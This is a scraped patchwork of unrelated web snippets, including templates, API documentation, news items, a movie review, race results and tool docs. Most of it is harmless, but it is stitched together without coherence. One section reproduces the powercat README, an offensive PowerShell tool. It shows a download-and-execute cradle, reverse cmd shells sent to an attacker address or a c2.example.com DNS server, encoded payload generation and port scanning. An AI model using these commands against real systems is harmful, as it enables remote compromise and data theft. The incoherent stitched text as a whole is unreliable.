Every value-of double is something (some value).
Every value-of float is something (some value).
real treated as the following??
Every classi has-account-id nothing-but (greater-or-equal-to 0 or lower-or-equal-to 0).
[ ]:


| ID | Name | URIs | Control URIs |
|---|
| Application | Actor | Port | Tokens |
|
|
|
|
|
|
|
| Timestamp | Node id | Event type | Id/Peer id | Name/URI | Type/Action/Peer | Is shadow/Consumed | Produced | Action result |
|---|


{% include "request/events/modal_body/base/heading.html" %}
{% for key, human_key in {
"email": "email",
"phone_number": "phone number",
"fax_number": "fax number",
"title": "title",
"organization": "organization"
}.items() %}
{% if key in event.new_value and not (event.previous_value[key] == "" and event.new_value[key] == None) %}
The requester's {{ human_key }} was
{% if event.previous_value[key] and event.new_value[key] %}
changed from "{{ event.previous_value[key] }}" to "{{ event.new_value[key] }}"
{% elif event.new_value[key] and not event.previous_value[key] %}
added as "{{ event.new_value[key] }}"
{% else %}
removed
{% endif %}
{% endif %}
{% endfor %}
{% if event.new_value.get("mailing_address") %}
{% for key, human_key in {
"zip": "zipcode",
"city": "city",
"state": "state",
"address_one": "address line 1",
"address_two": "address line 2"
}.items() %}
{% if key in event.new_value["mailing_address"] and not
(event.previous_value["mailing_address"][key] == "" and event.new_value["mailing_address"][key] == None) %}
The requester's {{ human_key }} was
{% if event.previous_value["mailing_address"][key] and event.new_value["mailing_address"][key] %}
changed from "{{ event.previous_value["mailing_address"][key] }}" to "{{ event.new_value["mailing_address"][key] }}"
{% elif event.new_value["mailing_address"][key] and not event.previous_value["mailing_address"][key] %}
added as "{{ event.new_value["mailing_address"][key] }}"
{% else %}
removed
{% endif %}


String
struct String
-
Returns a new string made from the
String
by replacing every character incompatible with HTML Unicode encoding (UTF-16 or UTF-8) by a decimal HTML entity.Examples
String Result Format &
&
Decimal entity (part of the Unicode special characters) Σ
Σ
Not escaped (Unicode compliant) 🇺🇸
🇺🇸
Not escaped (Unicode compliant) a
a
Not escaped (alphanumerical) Complexity:
O(N)
whereN
is the number of characters in the string.Declaration
Swift
public var addingUnicodeEntities: String
-
Returns a new string made from the
String
by replacing every character incompatible with HTML ASCII encoding by a decimal HTML entity.Examples
String Result Format &
&
Decimal entity Σ
Σ
Decimal entity 🇺🇸
🇺🇸
Combined decimal entities (extented grapheme cluster) a
a
Not escaped (alphanumerical) Performance
If your webpage is unicode encoded (UTF-16 or UTF-8) use
escapingForUnicodeHTML
instead as it is faster, and produces less bloated and more readable HTML (as long as you are using a unicode compliant HTML reader).Complexity:
O(N)
whereN
is the number of characters in the string.Declaration
Swift
public var addingASCIIEntities: String
-
Returns a new string made from the
String
by replacing every HTML entity with the matching Unicode character.Examples
String Result Format &
&
Keyword entity Σ
Σ
Decimal entity č
č
Hexadecimal entity 🇺🇸
🇺🇸
Combined decimal entities (extented grapheme cluster) a
a
Not an entity &
&
Not an entity Complexity:
O(N)
whereN
is the number of characters in the string.Declaration
Swift
public var removingHTMLEntities: String


Registration
First name
Last name
Middle name
Email
Password
Gender
male
female
other
Hobbies
submit
Data Table
First Name
Last Name
Middle Name
Email
Password
Gender
Hobbies


To quickly add code cells in Jupyter notebooks, press Shift+Alt+A to insert a new cell above the currently selected cell, or Shift+Alt+B to create a new cell below the selected cell.


SAA strike likely to end today: unions
by BloombergA strike at South African Airways, which has dragged on since 15 November and grounded a number of flights, is likely to end today, with workers having agreed “in principle” to a pay deal, a senior union official said.
The deal will see workers get a 5.9% pay increase, with a further increment – details of which are still being worked out – being paid at a later date, Christopher Shabangu, deputy president of the South African Cabin Crew Association, said by phone on Friday.
The association and the National Union of Metalworkers of South Africa, which represent more than 3,000 SAA workers, plan to hold a media briefing later on Friday, where they will reveal more details of the terms of the pay offer.
SAA spokesman Tlali Tlali didn’t answer calls to his mobile phone.


|
KlusterKite
0.0.0
A framework to create scalable and redundant services based on awesome Akka.Net project.
|
Just class to demonstrate api declaration More...
Public Member Functions | |
| NodeObject | JustMethod ([ApiDescription(Description="The node uid")]Guid nodeUid) |
| The regular api method More... | |
| NodeObject | JustMethodWithContext (RequestContext context, [ApiDescription(Description="The node uid")]Guid nodeUid) |
| The api method with context usage. Context argument is not published to api. More... | |
| NodeObject | JustMethodWithSubRequest (ApiRequest subRequest, [ApiDescription(Description="The node uid")]Guid nodeUid) |
| The api method with sub-request parsing More... | |
| JObject | ApiResolveForward (ApiRequest subRequest, [ApiDescription(Description="The node uid")]Guid nodeUid) |
| This method is considered as forwarding to some other api provider. T More... | |
| Public Member Functions inherited from KlusterKite.API.Provider.ApiProvider | |
| virtual Task< JToken > | ResolveQuery (List< ApiRequest > requests, RequestContext context, Action< Exception > onErrorCallback) |
| Resolves query More... | |
| virtual async Task< JObject > | ResolveMutation (ApiRequest request, RequestContext context, Action< Exception > onErrorCallback) |
| Resolves query More... | |
Public Attributes | |
| string | PublishedStringProperty => "Published string" |
| The published scalar property. More... | |
| TestApi | Viewer => new TestApi() |
| Some nested api More... | |
| Public Attributes inherited from KlusterKite.API.Provider.ApiProvider | |
| IReadOnlyList< string > | GenerationErrors => this.generationErrors.AsReadOnly() |
| Gets the list of warnings gathered on generation stage More... | |
Additional Inherited Members | |
| Protected Member Functions inherited from KlusterKite.API.Provider.ApiProvider | |
| ApiProvider () | |
| Initializes a new instance of the ApiProvider class. More... | |
| Properties inherited from KlusterKite.API.Provider.ApiProvider | |
| ApiDescription | ApiDescription [get] |
| Gets the api description More... | |
Just class to demonstrate api declaration
Definition at line 417 of file ApiProviderTests.cs.
| JObject KlusterKite.API.Tests.ApiProviderTests.DemoApi.ApiResolveForward | ( | ApiRequest | subRequest, |
| [ApiDescription(Description="The node uid")] Guid | nodeUid | ||
| ) |
This method is considered as forwarding to some other api provider. T
The result will be forward back to requester with no further process
| subRequest | The sub-request |
| nodeUid | The node Id. |
| NodeObject KlusterKite.API.Tests.ApiProviderTests.DemoApi.JustMethod | ( | [ApiDescription(Description="The node uid")] Guid | nodeUid | ) |
The regular api method
The result will be resolved for each nested field / method
| nodeUid | The node Id. |
| NodeObject KlusterKite.API.Tests.ApiProviderTests.DemoApi.JustMethodWithContext | ( | RequestContext | context, |
| [ApiDescription(Description="The node uid")] Guid | nodeUid | ||
| ) |
The api method with context usage. Context argument is not published to api.
The result will be resolved for each nested field / method
| context | The context. |
| nodeUid | The node Id. |
| NodeObject KlusterKite.API.Tests.ApiProviderTests.DemoApi.JustMethodWithSubRequest | ( | ApiRequest | subRequest, |
| [ApiDescription(Description="The node uid")] Guid | nodeUid | ||
| ) |
The api method with sub-request parsing
| subRequest | The sub-request |
| nodeUid | The node Id. |
| string KlusterKite.API.Tests.ApiProviderTests.DemoApi.PublishedStringProperty => "Published string" |
The published scalar property.
The result will be transformed to JValue
Definition at line 427 of file ApiProviderTests.cs.
Some nested api
The result will be resolved for each nested field / method
Definition at line 437 of file ApiProviderTests.cs.


Review of: THE WRECKING CREW (1969)
Review written: 1/24/98 Copyright 1998 Afterburner Email me at<EMAIL_ADDRESS>Rating (out of 10): N/A. See review for further details.
-----
For those who haven't seen any of them, the Matt Helm movies answer the question "What if Hugh Hefner (founder and publisher of Playboy Magazine) had been a secret agent on the side?" Dean Martin plays Matt Helm, an affable, boozing photographer of scantily-clad women who works for "Slaymate" magazine. But that's just a cover! The truth is that Helm is *really* an affable, boozing, super-competent secret agent who works for the Intelligence Counter Espionage (ICE) organization.
Before we go further, I should point out that the Matt Helm movies are all pretty bad. But they're wonderfully bad, and they're great, cheezy, campy fun. I tend to speak glowingly of the Matt Helm movies because I enjoy them for their over-the-top campiness, but more serious-minded viewers will probably be turned off.
In many ways, however, THE WRECKING CREW (1969) is the best of the four Matt Helm movies. While it still has a great deal of camp, the series appeared to be maturing with this movie, and it's a shame that this one ended up being the last of the series (despite a promise in the closing credits for "The Ravagers," which was never made).
The movie begins with Count Massimo pilfering a few billion dollars of gold bullion from a train. The gold bullion belongs to the USA. It was on a train heading through Denmark on its way to London. No, I don't know why either. It's a Matt Helm movie. You just gotta accept it.
Helm is assigned to find the gold and get it back before the press finds out and before the world bankers repossess the USA. And so he travels to Denmark, meeting up with Lola Medina (a post-"Gilligan's Island" Tina Louise), and with the accident prone Freya Carlson (Sharon Tate), ostensibly a functionary for the Denmark Department of Tourism (but REALLY a secret agent in her own right -- as if anybody didn't see *that* coming).
There are several things which make this the best of the four Matt Helm movies. The villan, Count Massimo Contini (Nigel Green) is easily the best of the series. The fight scenes (choreographed by Bruce Lee) are light-years ahead of the fight scenes in the other three. And in several scenes, Martin actually seems to *act*. Incredible, but true.
Of course, this is still a Matt Helm movie after all is said and done with, and so we're also treated to the following:
* The villanous plan being divided up into approximately 12 "phases," apparently for no other reason than to give Nigel Green an opportunity to say things like "We're entering Phase 3 of the plan right on schedule" or "We're precisely 10 seconds behind schedule." This is because Nigel Green pronounces "schedule" with a soft "sch," so it sounds like "shed-ule." My guess is the writers and the director thought this sounded really cool and wanted to hear him say it 7 or 8 times during the movie. * A mini-helicopter which fits unassembled into the trunk of a car, and can be assembled in a matter of two minutes. * A camera which shoots out a green fog. This fog instantly blinds people for 10 minutes unless they're wearing special goggles. Even if they're across the room and/or upwind. * Copenhagen police officers who sound suspiciously like they were raised in the USA, and who know that a homicide has been committed even though they haven't visited the crime scene and the only witness to the incident is Helm.
Yes, despite its good qualities, it's still a Matt Helm movie. But it's pretty good for all that, and it's a shame that "The Ravagers" never saw the light of day. Would have been interesting to see where they went with the movie. Hmmm... Maybe we can convince Tarantino to do a Matt Helm movie...
The review above was posted to the
rec.arts.movies.reviews newsgroup (de.rec.film.kritiken for German reviews).
The Internet Movie Database accepts no responsibility for the contents of the
review and has no editorial control. Unless stated otherwise, the copyright
belongs to the author.
Please direct comments/criticisms of the review to relevant newsgroups.
Broken URLs inthe reviews are the responsibility of the author.
The formatting of the review is likely to differ from the original due
to ASCII to HTML conversion.
Related links: index of all rec.arts.movies.reviews reviews


OpenAPI Support
This add-on allows you to spider and import OpenAPI (Swagger) definitions, versions 1.2, 2.0, and 3.0.
Note: Generation of XML content is currently not supported.
The add-on will automatically detect any OpenAPI definitions and spider them as long as they are in scope.
It also supports the Automation Framework.
UI
A menu item is added to the Import menu:
- Import an OpenAPI definition
The dialogue allows overriding the server URL present in the OpenAPI definition (or specify one if not present) through the Target URL field.
The import progress is shown in the progress tab.
Context for Adding DDNs
The dialogues also allow selecting a Context, optionally. If a context is selected,
- each imported endpoint is included in the context, unless its URL matches an already existing Include in Context regex entry.
- the imported spec is saved to the session database
- data driven nodes are generated for endpoints with path parameters
Target URL Format
The Target URL has the following format:
scheme://authority/path
with all URI components optional. Note: while all URI components are optional the scheme and authority become mandatory when not importing from URL and the definition does not specify them (for example, it has no servers or schemes).
Following some examples, overriding:
- The authority and path:
localhost/api/
- Just the scheme:
https://
- Just the authority:
qa.example.com:9090
- Just the path:
/dev/v3/
API
The following operations are added to the API:
- ACTION importFile (file, target, contextId)
- ACTION importUrl (url, hostOverride, contextId)
Both target
and hostOverride
support the Target URL
format explained earlier.
The definitions will be imported synchronously and any warnings will be returned.
Data Driven Nodes
When the OpenAPI definition contains path parameters, and a context is specified during importing, the add-on will
automatically generate data driven nodes. If no context is specified, no data driven nodes are generated.
For example, the following OpenAPI definition will result in at least one data driven node.
...
/users/v1/{username}/email:
...
parameters:
- name: username
in: path
description: username to update email
required: true
schema:
type: string
...
The following nodes are added to the Sites Tree for the above endpoint:
Sites
└── http://example.com
└── users
└── v1
└── «username»
└── email
The imported OpenAPI definition is persisted to the session database. When the session is reloaded, the definition is
used to generate the data driven nodes and mark them for future requests.
Command Line
The following Command Line options are added:
- -openapifile <filename> : Imports an OpenAPI definition from the specified file name
- -openapiurl <url> : Imports an OpenAPI definition from the specified URL
- -openapitargeturl <url> : The Target URL, to override the server URL present in the OpenAPI definition
The definitions will be imported synchronously and any warnings will be displayed on the command line.
User Specified Values
Default values are used when importing OpenAPI definitions.
These can be overridden using the Form Handler add-on which allows you to specify your own values.
In most cases these will be simple values (like strings and integers) but in some cases you may need to specify structured values,
e.g. { "id": 0, "name": "Freda" }
Statistics
The add-on maintains the following statistics:
- openapi.urls.added : The total number of URLs added when importing OpenAPI definitions


Routes
To understand Redux and how it works in the solution
Redux
In the applicatin, we use Redux to manage the process and page flow.
Redux is a powerful framework which manages the state in the application, espeically the SPA (single page appliation).
We use Redux in both Action Flow and Data flow.


This is a test. See the console.
Open set of nested modals
Open programmatically
This is another nested modal.
Close Modal


We're building something new and cool in downtown Seattle - a feminist, woman-centered, and trans- and queer-inclusive space where tinkerers, makers, crafters, and hackers of all genders encourage each other to work, teach, learn, and collaborate.
Does this sound relevant to your interests? Sign up for our low-volume announcements list (via web or by emailing seattle-attic-announce+subscribe AT googlegroups DOT com) to get updates about our events.
We are located at 600 First Ave, unit 605. After hours, you can enter the building on the James Street side; look for the "Office Space" sign, and dial "Attic" on the intercom.
We hold a weekly open house on Tuesday evenings from 6:30-9PM.


---
layout: page
title: Near West Side
permalink: /near-west-side/
---
### Near West Side
Our *Near West Side* location offers furnished or unfurnished options to fit your needs. If you've ever wanted gorgeous views of the city but didn't want to pay extra for them, one of these units could be the one for you.
Our building is uniquely situated between Tri-Taylor/Illinois Medical District, a few blocks from Rush Hospital, and one block from Blue Line and Malcolm X College. It also provides easy access to I-90/94 and I-290, with private parking space plus easy off-street parking available.
During the playing season, you can experience the immense magnitude of support for the Blackhawks and Bulls from the comfort of your home as fans make their way to the United Center (also a few blocks away along with the new Bulls training facility).
| ![wood-desc0.png](/assets/img/wood-desc0.jpg) |
|:--:|
| *The view from our building* |
{:class="table-left" width="37%"}
#### Ammenities
* Approx. 1500 sqft
* Hardwood floors
* Modern stainless steel appliances, including dishwasher
* Front room w/ gas fireplace
* High-speed internet included
* In-unit laundry - no more walking outside in the winter!
* Large open-concept kitchen and living room
* Trash, sewer and water included
* Master bedroom with balcony and walk-in closet
* Spacious bathroom with Jacuzzi tub and large shower stall
* Our top floor unit offers private roof access
* I-90/94 and I-290
* Minutes away from Illinois Medical District blue line stop
* Private parking space plus easy off-street parking available
And those views we mentioned? Go about your morning routine while enjoying the sunrise coming up behind the city. With ample space around the building, you're never going to need more sunlight - you can take in the striking colors of the sunrise and sunset from the comfort of your home.
For our top floor unit, you also get private roof access where you can enjoy the views, sun, and fresh air. Call today to schedule a tour!
### Floor Plans
Coming soon.
### Neighborhood Map
Coming soon.


This program is written for students studying algorithmic theory.
© Alexey Dubinin
Application is available on the github: https://github.com/lxyd/jstu4
This software is distributed under the terms of the MIT License. See COPYING for details
The following third-party components are included:
Command format: q,a,v,q'
q - current state;
a - symbol currently seen on a tape;
v - command or symbol to write;
q' - new state.
Available commands:
> - move right;
< - move left;
= - don't move at this turn;
# - stop the machine.
You can write several commands in one separating them with any number of spaces.
C-style (//) or shell-style comments can be added to program. Note: there must be at least one space/linebreak between a command and a comment.
Named states are supported. State names which consist of digits only are interpreted as decimal numbers, so 01 and 1 represent the same state.
While program is running commands are marked with different color. You can clear thouse marks by clicking the "Unmark" button
The tape is limited at the left edge.
Buttons description:
Hotkeys:
Example (will replace 0 to 1 and 1 to 0 in place):
00, ,<,rep
rep,0,1,mov rep,1,0,mov rep, ,>,fin // rewrite cell
mov,0,<,rep mov,1,<,rep # do a step to the left
fin,0,>,fin fin,1,>,fin fin, ,#,fin // finally, move to the right


react-context-devtool is not configured for this site
please click here for configure devtool in your site
If you already configured then provide data in context for debug


Chiefs’ Mahomes to start against Titans, barring setbacks
by DAVE SKRETTAKANSAS CITY, Mo. (AP) - Patrick Mahomes will start for the Kansas City Chiefs against the Tennessee Titans on Sunday, just over two weeks after the quarterback’s season was jeopardized by a dislocated kneecap.
Mahomes never missed a practice after hurting his knee on a Thursday night against Denver. Some thought the seriousness of the injury could sideline the league MVP for months.
It turned out there was no structural damage, and it became a waiting game to see when Mahomes would take the field. He practiced on a limited basis the first week before being ruled out against Green Bay. He was limited against last week before being inactive against Minnesota.
Matt Moore had started in his place, losing to the Packers and beating the Vikings.
More AP NFL: https://apnews.com/NFL and https://twitter.com/AP_NFL
Sign up for Daily Newsletters
Copyright © 2019 The Washington Times, LLC.
Please read our comment policy before commenting.


{% extends 'base.html' %} {% load bootstrap3 %} {% block title %} Delete DECT Registration | {{ block.super }} {% endblock %} {% block content %}
Are you sure you want to delete the registration of DECT number {{ dectregistration.number }}?


|
Syphon
|
The Syphon framework provides the classes necessary to add Syphon support to your application. SyphonServer is used to make frames available to other applications. SyphonServerDirectory is used to discover available servers. SyphonClient is used to connect to and receive frames from a SyphonServer.
The framework requires MacOS X 10.8 or later.
To include Syphon in your application, follow these steps:
The simplest way is to drag it to the Frameworks group in the project window.
Add the framework to the Link Binary With Libraries build phase of your application's target.
Add a new Copy Files build phase to your application's target.
Select Frameworks as the destination.
Drag the Syphon framework into the build phase.
#import <Syphon/Syphon.h> in any file where you want to use Syphon classes.
Class documentation: SyphonServer
Create a server:
and then publish new frames (you can also use GL_TEXTURE_2D textures):
Alternatively there are methods to bind and unbind the server to the OpenGL context, so you can draw into it directly. You can publish new frames as often as you like, but if you only publish when you have a frame different from the previous one, then clients can do less work. You must stop the server when you are finished with it:
Class documentation: SyphonServerDirectory
SyphonServerDirectory handles server discovery for you. You can get an array of dictionaries describing available servers:
The servers property can be observed for changes, or you can register to receive the notifications posted by SyphonServerDirectory.
Server description dictionaries are used by Syphon when you create a client, and also contain information you can use to describe available servers in your UI:
Class documentation: SyphonClient, SyphonImage
Usually you create a client with a server description dictionary you obtained from SyphonServerDirectory:
The new-frame handler is optional: you can pass in nil. Here we use it to tell a view it needs to draw whenever the client receives a frame.
When you are ready to draw:
As with servers, you must stop the client when you are finished with it:
If you are using Syphon in any sort of plugin, please download the framework source and compile a version of the framework with unique class names. This avoids class-name conflicts if another plugin or the host application also embeds the Syphon framework. The framework source is set up to make this easy for you: you just need to change one build setting.
Select the Syphon target in the project window.
Click the Build Settings tab to display the build settings.
Scroll down (or use the search field) to find the Preprocessor Macros (GCC_PREPROCESSOR_DEFINITIONS) setting.
Double click the setting to add SYPHON_UNIQUE_CLASS_NAME_PREFIX=MyPluginName as a macro.
The built framework will have custom class names. The headers alias the custom names, so you can use SyphonServer, SyphonClient, SyphonImage and SyphonServerDirectory as normal in your code.
Example projects implementing a server and client are included with the Syphon SDK. You can also examine the source to some Syphon implementations on GitHub.
Use the Syphon developer forum to ask questions, and for any development related discussion.
Good luck!
If you'd like to examine the framework's source code, report a bug, or get involved in development, head on over to the Syphon framework GitHub project.


C
- Use the L R T B buttons to position the console at the left, right, top or bottom of the screen.
- Click on the Position tab to close the console.
- It is the constellation:position package that adds the little circle with a C in it for opening the console.


Let's Clinmb a Mountain 34.3 mile
Spokane WA/USA
Race Winners
(35 runnings)
07
Jul
2007
08
Jul
2006
09
Jul
2005
10
Jul
2004
12 Jul
2003
2002
14
Jul
2001
2000
1999
11 Jul
1998
12 Jul
1997
1996
08 Jul
1995
09
Jul
1994
1993
11 Jul
1992
13
Jul
1991
1990
1989
1988
1987
1986
20
Jul
1985
14 Jul
1984
16
Jul
1983
1982
11 Jul
1981
Notes: 1981 was the inaugural year. This race was known as the Daybreak Climb a
Mountain thru 2003.
11 Jul
2015
4:25:45
John Smith (USA)
5:44:18
Anna Stewart (USA)
12 Jul
2014
4:29:00
Trevor Carlson (USA)
8:03:37
Michelle Bauer (USA)
13 Jul
2013
4:30:46
Ryan Kipp (USA)
5:26:00
Kirsten Casey (USA)
07 Jul
2012
4:25:26
Kjell Schioberg-3
6:42:49
Francesca
Hankins-2
09 Jul
2011
4:13:00
Kjell Schioberg-2
5:05:04
Dianne McKenney
10 Jul
2010
4:31:14
Kjell Schioberg
5:29:17
Juliet Morgan
11 Jul
2009
5:27:59
Tom Taylor
6:33:09
Catherine Greer
12 Jul
2008
5:14:00
Robert Towne
6:05:49
Francesca Hankins
4:11:30
Jesse Stevick
5:47:54
Van Phan (WA/USA)
4:46:47
Yukon Degenhart
5:46:07
Karice Scott
5:07:33
Bobby Batch
6:08:52
Shawn Lawson
5:03:34
Mark Mansfield
5:10:20
Jacqueline Van Allen
5:08:37
Joel Kopf
6:15:22
Gunhild Swanson
(WA/USA)
---
n/a
---
n/a
---
n/a
---
n/a
---
n/a
---
n/a
4:27:02
Matt Zuchetto
5:22:39
Nancy Drach
4:56:02
Mark Hartinger
---
n/a
---
n/a
---
n/a
---
n/a
---
n/a
---
n/a
---
n/a
---
n/a
---
n/a
---
n/a
5:12:07
Dori Robertson
---
n/a
---
n/a
---
n/a
---
n/a
---
n/a
---
n/a
---
n/a
---
n/a
---
n/a
---
n/a
---
n/a
---
n/a
---
n/a
---
n/a
3:59:59
Don Kardong-2
5:24:21
Gunhild Swanson (WA/USA)
---
n/a
---
n/a
---
n/a
---
n/a
---
n/a
---
n/a
3:59:25
Don Kardong (WA/USA)
---
n/a
Most Wins
(1981/date)
Men
3
Kjell Schioberg
2010-12
Women
2
Gunhild Swanson
(WA/USA)
1985,2003
Francesca Hankins
2008,2012
Prize Money
(ADR qualified runners)
No prize money has been awarded at this race according to available information.
Race Time Bias
(sec/km)
The race time bias is not
calculated for distances beyond the marathon.
Competitive Level
(1990-date)
Insufficient data to calculate the competitive level.
Last Updated on
20 Jan 2016
Contributors: Juraj Gasparovic (50), Klaas Loonstra (10)


Breakfast Cereals
Nutritional information about various breakfast cereals
Add
Manufacturer
Cereal
Further details
View
Edit
Delete


Netcat in Powershell
Useful with powershell exec from web into memory execution
https://github.com/besimorhino/powercat
powercat
Netcat: The powershell version. (Powershell Version 2 and Later Supported)
Installation
powercat is a powershell function. First you need to load the function before you can execute it. You can put one of the below commands into your powershell profile so powercat is automatically loaded when powershell starts.
Load The Function From Downloaded .ps1 File:
. .\powercat.ps1
Load The Function From URL:
IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1')
Parameters:
-l Listen for a connection. [Switch]
-c Connect to a listener. [String]
-p The port to connect to, or listen on. [String]
-e Execute. (GAPING_SECURITY_HOLE) [String]
-ep Execute Powershell. [Switch]
-r Relay. Format: "-r tcp:<IP_ADDRESS>:443" [String]
-u Transfer data over UDP. [Switch]
-dns Transfer data over dns (dnscat2). [String]
-dnsft DNS Failure Threshold. [int32]
-t Timeout option. Default: 60 [int32]
-i Input: Filepath (string), byte array, or string. [object]
-o Console Output Type: "Host", "Bytes", or "String" [String]
-of Output File Path. [String]
-d Disconnect after connecting. [Switch]
-rep Repeater. Restart after disconnecting. [Switch]
-g Generate Payload. [Switch]
-ge Generate Encoded Payload. [Switch]
-h Print the help message. [Switch]
Basic Connections
By default, powercat reads input from the console and writes input to the console using write-host. You can change the output type to 'Bytes', or 'String' with -o.
Basic Client:
powercat -c <IP_ADDRESS> -p 443
Basic Listener:
powercat -l -p 8000
Basic Client, Output as Bytes:
powercat -c <IP_ADDRESS> -p 443 -o Bytes
File Transfer
powercat can be used to transfer files back and forth using -i (Input) and -of (Output File).
Send File:
powercat -c <IP_ADDRESS> -p 443 -i C:\inputfile
Recieve File:
powercat -l -p 8000 -of C:\inputfile
Shells
powercat can be used to send and serve shells. Specify an executable to -e, or use -ep to execute powershell.
Serve a cmd Shell:
powercat -l -p 443 -e cmd
Send a cmd Shell:
powercat -c <IP_ADDRESS> -p 443 -e cmd
Serve a shell which executes powershell commands:
powercat -l -p 443 -ep
DNS and UDP
powercat supports more than sending data over TCP. Specify -u to enable UDP Mode. Data can also be sent to a dnscat2 server with -dns. Make sure to add "-e open --no-cache" when running the dnscat2 server.
Send Data Over UDP:
powercat -c <IP_ADDRESS> -p 8000 -u
powercat -l -p 8000 -u
Connect to the c2.example.com dnscat2 server using the DNS server on <IP_ADDRESS>:
powercat -c <IP_ADDRESS> -p 53 -dns c2.example.com
Send a shell to the c2.example.com dnscat2 server using the default DNS server in Windows:
powercat -dns c2.example.com -e cmd
Relays
Relays in powercat work just like traditional netcat relays, but you don't have to create a file or start a second process. You can also relay data between connections of different protocols.
TCP Listener to TCP Client Relay:
powercat -l -p 8000 -r tcp:<IP_ADDRESS>:443
TCP Listener to UDP Client Relay:
powercat -l -p 8000 -r udp:<IP_ADDRESS>:53
TCP Listener to DNS Client Relay
powercat -l -p 8000 -r dns:<IP_ADDRESS>:53:c2.example.com
TCP Listener to DNS Client Relay using the Windows Default DNS Server
powercat -l -p 8000 -r dns:::c2.example.com
TCP Client to Client Relay
powercat -c <IP_ADDRESS> -p 9000 -r tcp:<IP_ADDRESS>:443
TCP Listener to Listener Relay
powercat -l -p 8000 -r tcp:9000
Generate Payloads
Payloads which do a specific action can be generated using -g (Generate Payload) and -ge (Generate Encoded Payload). Encoded payloads can be executed with powershell -E. You can use these if you don't want to use all of powercat.
Generate a reverse tcp payload which connects back to <IP_ADDRESS> port 443:
powercat -c <IP_ADDRESS> -p 443 -e cmd -g
Generate a bind tcp encoded command which listens on port 8000:
powercat -l -p 8000 -e cmd -ge
Misc Usage
powercat can also be used to perform portscans, and start persistent servers.
Basic TCP Port Scanner:
(21,22,80,443) | % {powercat -c <IP_ADDRESS> -p $_ -t 1 -Verbose -d}
Start A Persistent Server That Serves a File:
powercat -l -p 443 -i C:\inputfile -rep


template<class TKey, class TValue>
class stRPriorityQueue< TKey, TValue >
This class template implements a generic reverse priority queue. In other words, the priority of an entry grows in reverse proportion to its key value.
The template parameter TKey must support the =, < and > operators and TValue must support = operator.
This reverse priority queue is implemented using a simple heap which does not support dynamic growning. In other words, be aware of the maximum capacity chosen during its creation.
There is a variation of this class template, called stDynamicRPriorityQueue, wich supports dynamic growing of the queue in exchange of a little performance degradation.
NEVER USE THIS CLASS when the exact maximum size of the queue can not be predicted before the creation of an instance of this class. If unsure, use stDynamicRPriorityQueue instead of this class to avoid potential buffer overflows.
- Author
- Fabio Jun Takada Chino (chino.nosp@m.@icm.nosp<EMAIL_ADDRESS>-
Marcos Rodrigues Vieira (mrvie.nosp@m.ira@.nosp@m.icmc..nosp<EMAIL_ADDRESS>- Version
- 1.0
- See also
- stDynamicRPriorityQueue
- Warning
- Due to optmization issues, this class does not report memory overflows unless stDEBUG macro is defined. Be aware of the maximum capacity of this queue or suffer the consequences! He he he...
Definition at line 471 of file stUtil.h.


E
- Data type of the interval borders. This can be anything that is comparable to itself.I
- Entry data type. This must implement HasIntervalpublic class IntervalTree<E extends java.lang.Comparable<E>,I extends HasInterval<E>>
extends java.lang.Object
| Constructor and Description |
|---|
IntervalTree()
Creates a new, empty Interval Tree
|
| Modifier and Type | Method and Description |
|---|---|
void |
delete(I entry)
Deletes a given entry from the Interval Tree
|
java.util.List<I> |
findOverlapping(IInterval<E> interval)
This finds all entries whose intervals overlap with a given query interval.
|
java.util.Set<I> |
getAll()
Returns all entries in the interval tree
|
E |
getMaximum()
Returns the maximum interval end in the tree
|
void |
insert(I entry)
This inserts a new entry into the Interval Tree
|
java.util.Set<I> |
lookup(IInterval<E> key)
Lookup all entries that have a given interval.
|
void |
printTree()
Debug method that will print the whole tree to System.out
|
public java.util.Set<I> lookup(IInterval<E> key)
key
- The interval of the entry to look uppublic java.util.List<I> findOverlapping(IInterval<E> interval)
interval
- The query intervalpublic java.util.Set<I> getAll()
public void insert(I entry)
entry
- The entry to be addedpublic void delete(I entry)
entry
- The entry to be deletedpublic E getMaximum()
public void printTree()


--- layout: page title: About header-img: "img/about-bg.png" ---
NYC native enjoying the sunshine of Houston, TX. Former teacher, lifelong learner.


[§157-34.5] Milk shortage. In the event of a shortage, the board shall require all milk produced within the milk shed first serve the needs of the consumers within the milk shed. [L 1988, c 25, §4]


This is an open-source, collaborative effort and we welcome your feedback. If you encounter problems with the Shiny app and/or have suggestions on ways to further improve it, please contact Erik W. Leppo from Tetra Tech via email<EMAIL_ADDRESS>or via a post on the ContDataQC GitHub page (https://github.com/leppott/ContDataQC/discussions).
We have been working on and off on the ContDataQC R package and Shiny app since 2017. Development of the ContDataQC R tools has been funded primarily by the United States Environmental Protection Agency (EPA) Office of Research and Development (ORD) as part of a larger project to establish Regional Monitoring Networks (RMNs) for freshwater streams and inland lakes. The lead EPA scientist on the RMN work is Britta Bierwagen (bierwagen.britta@epa.gov). Shane Bowe from the Red Lake Band of Chippewa Indians has also funded parts of its development.
So far ContDataQC has only been used on continuous data that is being manually downloaded periodically (generally one to three times a year). It has not been used on ‘real-time’ continuous data. It was originally developed for sensors deployed in streams at single depths but is now being used on lake sensor array data as well, where sensors are being deployed at multiple, fixed depths at the same site. To date, we have worked primarily with thermal and hydrologic data (the primary variables being collected at RMN sites), but users have expressed interest in using it on other parameters as well. The Shiny app is currently set up to run dissolved oxygen, conductivity, pH, turbidity and chlorophyll-a data but the default QC test thresholds for those parameters will need to be carefully checked and refined.
In fall of 2020, a major advancement occurred when we moved the Shiny app to the Tetra Tech Shiny server. This made the app much more accessible to RMN partners and to other outside users as well. EPA is planning to host the ContDataQC Shiny app on an EPA Shiny server as well. We expect this to happen over the coming year.
We aren’t planning to make any major changes to the main functions in ContDataQC but will continue to work on the items below as resources permit. We’ll also be shifting our focus more to data summary and visualization, for which we are developing separate R packages and Shiny apps (for more information, see bottom of page).
Here are the ContDataQC items we’re currently working on -
ContDataQC ‘wish list’ items (that we lack funding to address but will tackle if resources permit) -
Other R packages and Shiny apps that may be of interest
Tim Martin from Minnesota DNR<EMAIL_ADDRESS>has been a great collaborator and has developed a QC app that includes the ContData QC flag tests as well as some other features (including an interactive plot in which data points are color-coded based on flags and the user can add or remove flags). The app is currently being hosted on the Tetra Tech Shiny server - https://tetratech-wtr-wne.shinyapps.io/logger_processing/ If you use the app, Tim welcomes your feedback!
